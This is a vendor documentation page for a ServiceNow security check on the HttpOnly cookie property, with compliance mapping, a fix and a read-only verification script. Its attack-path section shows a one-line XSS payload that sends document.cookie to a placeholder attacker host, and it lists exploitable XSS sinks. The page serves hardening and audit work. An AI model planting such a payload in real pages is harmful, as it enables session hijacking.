Cookie HttpOnly Enforcement
This page describes the
nowisor-cookie-http-onlycheck from the nowisor Instance Scan Pack v1.0.0. The check audits theglide.cookies.http_onlysystem property and produces a finding when the value is nottrue— including when the property has been removed fromsys_propertiesentirely.
What this finding means
Your ServiceNow instance is not setting the HttpOnly flag on session cookies. The system property glide.cookies.http_only is either set to a value other than true, or it has been deleted from sys_properties so the platform falls back to undocumented runtime behavior.
The HttpOnly flag is a browser-enforced restriction: when a cookie has the flag set, JavaScript running in the page cannot read its value via document.cookie. The cookie travels with HTTP requests as normal, but it is opaque to client-side script. Without the flag, any JavaScript on the page — including malicious script injected through a cross-site-scripting (XSS) flaw — can read the cookie and send it to an attacker-controlled endpoint.
The default on Zurich Patch 6 is true. If your check finding shows anything else, the property has been disabled deliberately. The most common reason: a Service Portal widget or custom UI page tried to read the session cookie from JavaScript for client-side routing logic. That pattern is incompatible with HttpOnly by design — and the right fix is to move the routing logic server-side, not to disable the flag.
Why it matters for your compliance
HttpOnly is a defense-in-depth control that closes the bridge between an XSS finding and a full session takeover.
NIS2 Article 21§2(e) — security in network and information systems acquisition, development, and maintenance. NIS2 explicitly covers maintaining secure-by-default platform configurations. HttpOnly is one of the cookie-attribute defaults that constitutes "secure development" at the platform-configuration layer. Disabling it without a documented compensating control is a finding regulators will record.
ISO 27001 A.8.23 — web filtering. The control's intent extends beyond URL blocking to include browser-side controls that constrain what running script can do. HttpOnly is exactly that kind of constraint — it instructs the browser to deny script access to the cookie. Maintaining it is part of demonstrating that web-layer controls are enforced.
DORA Article 9 — ICT risk management framework. DORA Article 9§4(b) covers authentication mechanisms and data integrity. A session cookie that can be exfiltrated via XSS undermines the authentication mechanism that issued it — and DORA-aware supervisors do look at cookie security flags during onsite reviews of financial entities.
The check is severity 1 (critical) because the failure mode is binary: when HttpOnly is off and an XSS exists anywhere on the platform, the session is recoverable as plaintext. There is no partial-failure mode and no useful compensating control short of eliminating every XSS vector on the platform, which is not a realistic posture.
The attack path
The path from "HttpOnly disabled" to "session takeover" is short and has been documented in real incidents.
Step 1 — Find an XSS. ServiceNow's surface is large: comment fields rendered without escaping, custom widgets with [[innerHTML]] bindings, Jelly script tags with glide.ui.escape_all_script = false, knowledge articles with HTML-permissive editors. The attacker does not need a high-severity XSS; a stored XSS in a comment field that only renders to the article author and IT support is enough.
Step 2 — Plant the payload. The attacker submits content containing JavaScript that reads document.cookie and sends the result to a controlled server:
// Payload contents (delivered via XSS sink)
fetch('https://attacker.example/c?v=' + encodeURIComponent(document.cookie));
Step 3 — Wait for the read. When a privileged user opens the page containing the payload, their browser executes the script. Because HttpOnly is off, document.cookie returns the session cookie value. The fetch fires, the attacker logs the cookie.
Step 4 — Replay. The attacker submits the cookie to the instance from their own browser. The platform sees a valid session and grants access at the victim's privilege level. If the victim was an admin or had security_admin, the attacker now has the same privilege.
With HttpOnly enforced, the same XSS still executes, but document.cookie returns an empty string for the session cookie. The XSS payload is reduced to whatever script-level actions can be performed inside the page — still a finding worth remediating, but no longer a session-takeover primitive.
How to fix it
The fix is one property change in System Properties:
glide.cookies.http_only = true
Apply via System Properties → glide.cookies.http_only. The change takes effect on the next session establishment; existing session cookies retain whatever flag state they were issued with until the user re-authenticates.
If you encounter integrations or UI pages that break after the change, the issue is almost always a client-side script trying to read the session cookie. The legitimate fix patterns are:
- Move routing logic server-side. If a widget needs to know "is the user authenticated as X?", that decision belongs in the server script (which has access to
gs.getUser()), not in the client script reading the cookie. - Use a non-session cookie for client-readable state. If you genuinely need a value that JavaScript can read (UI preferences, A/B test cohort), set a separate cookie that does not carry the session.
- Use
$spAPI instead ofdocument.cookie. Service Portal scripts that need session-aware context should call$sp.getUser()or fetch context viaserver.update(), not read the cookie directly.
Pair this fix with the related cookie properties — glide.cookies.secure, glide.cookies.samesite, and the UI-layer glide.ui.secure_cookies — so the full set of cookie-protection flags is consistent.
How to verify the fix
Run this Background Script after applying the property change. It reads the live value and reports compliance plus the related cookie properties:
/*
* Verify nowisor-cookie-http-only
* Read-only, safe for production.
* Confirms glide.cookies.http_only is enforced.
*/
(function verifyHttpOnly() {
var SENTINEL = '__NOT_REGISTERED__';
var prop = 'glide.cookies.http_only';
var value = gs.getProperty(prop, SENTINEL);
if (value === SENTINEL) {
gs.print('[FAIL] ' + prop + ' is NOT REGISTERED in sys_properties.');
gs.print(' Recreate the property with value "true".');
} else if (value !== 'true') {
gs.print('[FAIL] ' + prop + ' = "' + value + '" (expected "true").');
gs.print(' Update via System Properties.');
} else {
gs.print('[PASS] ' + prop + ' = true. HttpOnly flag enforced.');
}
// Companion: full cookie hardening cluster
gs.print('');
gs.print('Cookie cluster (informational):');
gs.print(' glide.cookies.secure = ' + gs.getProperty('glide.cookies.secure', SENTINEL));
gs.print(' glide.cookies.samesite = ' + gs.getProperty('glide.cookies.samesite', SENTINEL));
gs.print(' glide.ui.secure_cookies = ' + gs.getProperty('glide.ui.secure_cookies', SENTINEL));
})();
Re-run the nowisor scan after applying the fix. The check should no longer produce a finding for this property.
What to do next
Cookie security is a small cluster of three properties that work together. All three must be enabled for the protection to be complete; reviewing this finding without reviewing the others leaves the door half-closed.
nowisor-cookie-secure— the transport-layer companion. Without it, cookies can be sniffed on the wire regardless of HttpOnly.nowisor-secure-cookies— the UI-layer companion. Closes asymmetry between transport and application-layer cookie handling.nowisor-csrf-token-enforcement— even if cookies are protected from theft, CSRF lets an attacker make requests with the victim's session without ever obtaining the cookie value.
For organizations with internal Service Portal customization, the highest-leverage follow-up is an XSS audit of custom widgets. The cookie-protection cluster doesn't prevent XSS — it limits what an XSS can do. The nowisor advisor product is being built to correlate cookie-cluster findings with the LinterCheck output (eval, GlideRecord-vs-Secure, glide-evaluator) so you can see which custom widgets create the highest-impact attack surface. See the session-protection cluster in the advisor →